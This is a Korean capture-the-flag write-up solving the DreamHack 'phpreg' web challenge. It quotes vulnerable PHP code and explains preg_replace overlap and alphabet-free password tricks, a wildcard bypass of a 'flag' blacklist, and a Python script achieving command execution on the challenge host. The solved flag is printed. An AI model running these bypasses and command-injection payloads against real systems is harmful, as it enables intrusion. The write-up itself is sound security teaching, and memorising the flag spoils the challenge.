[🥉 Bronze 4] PHP 정규식 3겹 뚫기 — preg_replace 겹침·알파벳 없는 비번·flag 필터 우회 RCE — DreamHack phpreg 풀이

문제: DreamHack — phpreg 분류: Web 난이도: 🥉 Bronze 4 FLAG: DH{ad866c64dabaf30136e22d3de2980d24c4da617b9d706f81d10a1bc97d0ab6f6}

이름 그대로 PHP 정규식 문제다. Step 1에서 닉네임/비밀번호로 문을 열고, Step 2에서 명령을 실행하는 두 단계 구조인데, 단계마다 preg_replace·preg_match로 만든 함정이 깔려 있다.

문제 개요

관문은 셋이다. ① 닉네임이 preg_replace를 거친 뒤 정확히 dnyang0310이어야 하고, ② 비밀번호는 알파벳이 없어야 하면서 preg_replace 치환 후 d4y0r50ng+1+13이어야 하고, ③ 통과하면 system($cmd)가 열리지만 cmd에 flag 문자열은 막혀 있다. 셋을 차례로 뚫는다.

🧩 배경 — preg_replace는 "지운 뒤"를 비교한다

PHP의 preg_replace($pattern, $replacement, $subject)는 $subject에서 패턴에 맞는 부분을 모두 찾아 $replacement로 바꾼 결과 문자열을 돌려준다. 이 문제처럼 "치환한 결과"를 고정 문자열과 ===로 비교하면, 우리는 거꾸로 치환 후 원하는 결과가 나오도록 입력을 설계하면 된다.

두 가지 성질이 열쇠다.

• 패턴이 삭제($replacement가 빈 문자열)면, 결과에 그 패턴이 남아 있으면 안 될 것 같지만 — 매칭은 보통 겹치지 않게 왼쪽부터 한 번씩 처리하므로, 패턴을 겹쳐 배치하면 일부만 지워지고 나머지가 남는다.
• 패턴이 치환이면, 매칭된 부분이 통째로 $replacement로 바뀐다. 그러니 입력은 "치환될 패턴 + 그대로 남길 나머지"로 쪼개 만든다.

preg_match는 검사용이다. preg_match("/flag/i", $cmd)는 $cmd에 flag(대소문자 무시)가 들어 있으면 1을 돌려준다. 블랙리스트라 "의도한 명령을 flag라는 글자 없이" 쓰면 빠져나간다.

🔬 코드 정찰

step2.php의 PHP 블록이 전부다.

$input_name = $_POST["input1"] ? $_POST["input1"] : "";
$input_pw   = $_POST["input2"] ? $_POST["input2"] : "";
 
// pw filtering
if (preg_match("/[a-zA-Z]/", $input_pw)) {
    echo "alphabet in the pw :(";
} else {
    $name = preg_replace("/nyang/i", "", $input_name);
    $pw   = preg_replace("/\d*\@\d{2,3}(31)+[^0-8\"]\!/", "d4y0r50ng", $input_pw);
 
    if ($name === "dnyang0310" && $pw === "d4y0r50ng+1+13") {
        // Step 2: cmd 입력 폼 노출
        $cmd = $_POST["cmd"] ? $_POST["cmd"] : "";
        if ($cmd === "") { /* show form */ }
        else if (preg_match("/flag/i", $cmd)) { echo "<pre>Error!</pre>"; }
        else { echo "<pre>--Output--\n"; system($cmd); echo "</pre>"; }
    } else {
        echo "Wrong nickname or pw";
    }
}

관문 셋을 하나씩 요구사항으로 정리하면 이렇다.

💣 핵심 — 세 관문 우회 설계

① 닉네임 — nyang을 겹치게 끼워 한 번만 지운다

목표 결과는 dnyang0310인데, 거기엔 nyang이 들어 있다. preg_replace가 nyang을 다 지우는데 어떻게 결과에 nyang이 남을까.

매칭이 겹치지 않게 진행한다는 점을 이용한다. nyang을 두 번 겹쳐 놓으면, 엔진이 가운데 한 번만 잡아 지우고 양옆이 붙어 새 nyang이 만들어진다.

input1 = d ny[nyang]ang 0310   →  "dnynyangang0310"
                ↑ 이 부분만 삭제
결과   = d  ny + ang  0310      →  "dnyang0310"

즉 dnynyangang0310을 넣으면 가운데 nyang만 지워지고 dny + ang0310이 이어져 dnyang0310이 된다.

② 비밀번호 — 알파벳 없이 치환 패턴 맞추기

비밀번호는 알파벳이 있으면 바로 걸린다. 그런데 목표 d4y0r50ng+1+13에는 알파벳이 잔뜩이다. 비밀은 그 d4y0r50ng 부분이 내 입력이 아니라 치환 결과라는 것이다. 치환 패턴을 알파벳 없이 만족시키면 PHP가 알아서 d4y0r50ng을 박아준다.

패턴 \d*\@\d{2,3}(31)+[^0-8\"]\!을 알파벳 없이 채운다.

이어 붙이면 @12319!이고, 여기에 그대로 남길 +1+13을 붙인다.

input2 = "@12319!+1+13"   (알파벳 0개 → pw 필터 통과)
         치환부 @12319! → d4y0r50ng
결과   = "d4y0r50ng+1+13"  → 인증 통과

제출하면 문이 열리고 Step 2의 명령 입력 폼이 나온다.

③ 명령 — flag 필터를 와일드카드로 우회

system($cmd)는 열렸지만 cmd에 flag가 있으면 막힌다. flag 파일을 직접 cat flag.txt로 읽을 수 없다. 셸 와일드카드 *로 파일명을 대신 매칭하면 flag라는 글자를 쓰지 않고도 그 파일을 가리킬 수 있다 — fl*은 flag.txt에 매칭되지만 문자열 flag를 포함하지 않는다.

🎯 익스플로잇

먼저 명령이 실제로 실행되는지 id로 확인한다.

flag 위치를 찾는다. ls나 find의 출력에 flag가 나오는 건 상관없다 — 필터는 우리가 보낸 cmd 문자열만 검사하기 때문이다. 다만 명령 자체에는 flag를 쓰면 안 되니 디렉토리만 나열한다.

flag는 웹 루트가 아니라 /var/www/dream/flag.txt에 있었다. fl* 와일드카드로 읽는다.

cmd = cat /var/www/dream/fl*

🚀 Full Exploit

세 관문 우회를 한 스크립트로 묶었다. 인증용 input1/input2는 고정이고, cmd만 바꿔 가며 RCE를 한다. 외부 라이브러리 없이 표준 라이브러리만 쓴다.

#!/usr/bin/env python3
# phpreg — PHP preg_replace/preg_match 우회 2단계 → RCE 로 flag.txt 읽기.
import sys, re, urllib.request, urllib.parse
 
BASE = sys.argv[1] if len(sys.argv) > 1 else "http://host3.dreamhack.games:8586"
 
# Step1 우회 페이로드
INPUT1 = "dnynyangang0310"   # preg_replace(/nyang/i,'') → dnyang0310 (겹침으로 1회만 삭제)
INPUT2 = "@12319!+1+13"      # 알파벳 0개 + 치환부 @12319! → d4y0r50ng, 결과 d4y0r50ng+1+13
 
def post(cmd=None):
    data = {"input1": INPUT1, "input2": INPUT2}
    if cmd is not None:
        data["cmd"] = cmd
    body = urllib.parse.urlencode(data).encode()
    return urllib.request.urlopen(BASE + "/step2.php", data=body, timeout=20).read().decode()
 
def out(cmd):
    m = re.search(r'--Output--\n(.*?)</pre>', post(cmd), re.S)
    return m.group(1).strip() if m else "(no output)"
 
print("[1] auth :", "OK (Step 2)" if "Almost done" in post() else "FAIL")
print("[2] find :", out('ls /var/www/dream/'))
print("[3] flag :", out('cat /var/www/dream/fl*'))   # 'flag' 필터를 fl* 로 우회

돌리면 인증부터 flag까지 한 번에 나온다.

📝 결론

정규식으로 만든 관문은 "정규식의 동작 방식"까지 같이 검토해야 한다.

preg_replace로 무언가를 지우거나 바꾸고 그 결과를 인증에 쓰면, 공격자는 치환 동작을 거꾸로 풀어 원하는 결과를 만들어낸다. 이 문제의 닉네임은 매칭이 겹치지 않는다는 성질을, 비밀번호는 치환 결과가 입력과 다르다는 성질을 그대로 이용당했다.

preg_match 블랙리스트도 약하다. flag 한 단어를 막아도 셸 와일드카드 fl* 한 번이면 끝이다. 입력에서 위험한 단어를 지우는 방식은 거의 항상 우회로가 있다.

방어는 "차단"이 아니라 "허용"으로 뒤집는 게 맞다. 인증값은 정규식 가공 결과로 비교하지 말고 입력 자체를 정확히 검증하고, 명령 실행이 꼭 필요하면 system에 사용자 입력을 넘기지 않거나 인자를 화이트리스트로 강제한다. 차단할 단어를 세는 순간 이미 진 싸움이다.